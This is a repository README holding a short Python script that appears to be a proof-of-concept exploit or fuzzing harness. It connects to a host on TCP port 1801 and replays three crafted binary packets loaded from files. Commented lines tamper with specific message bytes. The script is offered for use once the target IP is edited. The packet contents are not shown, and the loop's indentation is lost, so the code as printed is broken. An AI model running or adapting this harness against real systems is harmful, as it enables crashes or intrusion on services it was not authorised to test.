README.md
Rendering markdown...
# 需要自行修改 ip_address
# 代码中的循环是一开始用于测试的,没有实际用途
import socket, time
base_path = ".\\data\\"
ip_address = "192.168.183.101"
port = 1801
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip_address, port))
f = open(base_path + "establish_connection.bin", "rb")
ec = f.read()
f.close()
f = open(base_path + "connection_parameters.bin", "rb")
cp = f.read()
f.close()
f = open(base_path + "user_message.bin", "rb")
um = f.read()
data = bytearray(um)
f.close()
#f = open(base_path + "session_acknowledgment.bin", "rb")
#sa = f.read()
#f.close()
for i in range(0, 1):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip_address, port))
sock.sendall(ec)
print("[+] Establish connection.")
sock.recv(1024)
print("[+] Receive data done.")
sock.sendall(cp)
print("[+] Connection parameters.")
sock.recv(1024)
print("[+] Receive data done.")
#data[0x5e] = i
#data[0x5f] = 0xff
sock.sendall(data)
print("[+] User message.")
sock.recv(1024)
print("[+] Receive data done.")
#sock.sendall(sa)
#print("[+] Session acknowledgment.")
#sock.recv(1024)
#print("[+] Receive data done.\n")
sock.close()
time.sleep(0.1)